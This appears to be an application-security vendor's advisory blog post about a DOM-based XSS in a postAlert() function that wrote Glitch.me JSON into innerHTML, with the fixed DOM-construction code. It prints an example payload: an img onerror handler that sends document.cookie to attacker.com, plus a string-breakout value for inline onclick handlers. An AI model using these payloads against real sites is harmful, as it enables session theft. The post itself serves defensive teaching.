Back to Blog
high SEVERITY4 min read

innerHTML Injection in postAlert(): Glitch.me Data Renders Unsanitized

The `postAlert()` function fetched alert data from a Glitch.me endpoint and injected it directly into the DOM using `innerHTML`, enabling arbitrary JavaScript execution if that external source was compromised. The fix replaces the HTML string concatenation with safe DOM API methods: `document.createTextNode()` for content and `addEventListener()` for event handlers, eliminating the injection vector entirely.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 26, 2026•Reviewed September 26, 2026

Answer Summary

The `postAlert()` function in a client-side JavaScript application that consumes a Glitch.me JSON endpoint. An attacker achieving compromise of the external Glitch.me endpoint could inject arbitrary JavaScript that executes in victims' browsers when alerts are rendered. Fixed by replacing `innerHTML` string templating with `document.createTextNode()` and programmatic DOM element construction; no specific versioned package release applies as this is first-party code. CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerability at a Glance

cweCWE-79
fixReplace `innerHTML` with `document.createTextNode()` and `addEventListener()` for safe DOM construction
riskArbitrary JavaScript execution if external Glitch.me endpoint compromised
languageJavaScript
root cause`innerHTML` used with unsanitized external JSON data including `alert.title`, `alert.timeStamp`, and `alert.text`
vulnerabilityDOM-based Cross-Site Scripting (XSS)

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The Vulnerability Explained

A client-side alert system relied on a Glitch.me-hosted JSON endpoint to deliver notification content. The postAlert() function received this data and rendered it using innerHTML with direct string templating—no validation, no encoding, no separation between structure and content.

The vulnerable pattern:

popup.innerHTML += `<p class="popupTitle">${alert.title}<span class="popupTime">${new Intl.DateTimeFormat(...).format(new Date(alert.timeStamp))}</span></p><p class="popupBody">${alert.text}</p><button onclick="closePopup('${alert.name}');">Close</button><button onclick="markAsRead('${alert.name}');closePopup('${alert.name}');">Mark As Read</button>`;

Three separate injection points existed in this single line: alert.title, alert.text, and alert.name all flowed directly into HTML and JavaScript contexts without escaping. A compromised Glitch.me endpoint could return:

{
  "title": "<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>",
  "text": "Benign-looking content",
  "name": "');alert(document.domain)//"
}

The alert.name parameter proved particularly dangerous—it appeared inside single-quoted JavaScript strings in four separate onclick handlers. A value like '); maliciousCode(); // would break out of the intended function call and execute attacker-controlled code.

Because this executed during popup rendering, any user viewing alerts would trigger the payload immediately. The external dependency on Glitch.me meant the application trusted a third-party domain with full JavaScript execution capability in the application's origin.

The Fix

The remediation abandons innerHTML entirely, replacing string templating with programmatic DOM construction that treats all external data as literal text:

const title = document.createElement("p");
title.className = "popupTitle";
title.append(document.createTextNode(alert.title));
const time = document.createElement("span");
time.className = "popupTime";
time.textContent = new Intl.DateTimeFormat('en-us', {year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric'}).format(new Date(alert.timeStamp));
title.appendChild(time);
const body = document.createElement("p");
body.className = "popupBody";
body.textContent = alert.text;
const closeBtn = document.createElement("button");
closeBtn.textContent = "Close";
closeBtn.addEventListener("click", () => closePopup(alert.name));
const markBtn = document.createElement("button");
markBtn.textContent = "Mark As Read";
markBtn.addEventListener("click", () => { markAsRead(alert.name); closePopup(alert.name); });
popup.append(title, body, closeBtn, markBtn);

This change addresses four distinct problems simultaneously:

  1. Content injection eliminated: document.createTextNode(alert.title) and textContent assignments ensure alert.title and alert.text render as literal text regardless of HTML metacharacters.

  2. Event handler injection eliminated: addEventListener() attaches handlers programmatically. The alert.name value never enters a JavaScript parsing context as a string—it passes directly as a function argument.

  3. Structure integrity guaranteed: By creating elements individually and appending them, the DOM structure cannot be corrupted by malformed input. There's no template to break.

  4. Timing attack resistance: The onclick attributes in the original code evaluated in the global scope with full access to window. The closure-based handlers in the fix limit scope and execute strictly when attached.

The alert.name parameter still appears in the code, but exclusively as a property assignment (popup.id = alert.name) and function argument—not as executable script. The ID attribute injection remains a theoretical concern if used elsewhere, but the critical JavaScript execution vector is closed.

Key Takeaways

  • innerHTML with template literals is a dangerous default: When external data meets innerHTML +=...${variable}...``, every interpolated variable is an injection point. The convenience of string templating obscures the security boundary.

  • Glitch.me endpoints are not trust boundaries: Any externally hosted JSON source that renders directly to the DOM must be treated as untrusted, even if nominally controlled by the same organization. Compromise of the external endpoint equals compromise of your origin.

  • Event handlers in templates compound the risk: The original code embedded alert.name in four separate onclick attributes, creating JavaScript context escapes that bypassed HTML-focused sanitization. Moving to addEventListener() removes the parsing step entirely.

  • createTextNode and textContent are not interchangeable with innerHTML: They are fundamentally different operations—one creates a text node, the other parses HTML. Choosing correctly prevents entire classes of injection.

  • DOM construction patterns scale more safely: While verbose, the programmatic approach makes each data flow explicit and auditable. The structure of the code now matches the structure of the security policy.

How Orbis AppSec Detected This

Source: The alert.title, alert.text, and alert.name properties from JSON fetched from the external Glitch.me endpoint

Sink: The innerHTML property assignment in the postAlert() function, specifically popup.innerHTML +=...`` with embedded template expressions

Missing control: Absence of output encoding, content sanitization, or structural separation; no validation that alert.name was safe for JavaScript identifier context

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Replaced innerHTML string templating with document.createElement(), document.createTextNode(), textContent assignments, and addEventListener() for event binding

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The postAlert() vulnerability demonstrates how a single innerHTML line can collapse multiple security boundaries: external data becomes executable code, third-party trust becomes same-origin execution, and template convenience becomes injection opportunity. The fix—trading string templating for explicit DOM construction—restores those boundaries without sacrificing functionality. For applications consuming external JSON endpoints, this pattern of programmatic DOM building should be the default, not the exception.

Prevention and further reading

Frequently Asked Questions

Why couldn't the `onclick` handlers remain inline in the fixed version?

Inline handlers like `onclick="closePopup('${alert.name}')"` required string interpolation into `innerHTML`, which would have reintroduced the injection vector. The fix moves to `addEventListener()` to attach handlers programmatically without string concatenation.

Does the `alert.name` parameter still appear in the DOM after the fix?

Yes, but only as the `id` attribute on the popup container (`popup.id = alert.name`), not as executable script. The fix eliminates the injection of `alert.name` into JavaScript context via template literals.

Is `textContent` sufficient sanitization for the `alert.text` field, or was `createTextNode` specifically required?

The fix uses `document.createTextNode(alert.title)` for the title and `textContent` for the body—both achieve the same outcome of treating content as literal text. The key change is abandoning `innerHTML` entirely, not the specific safe property chosen.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.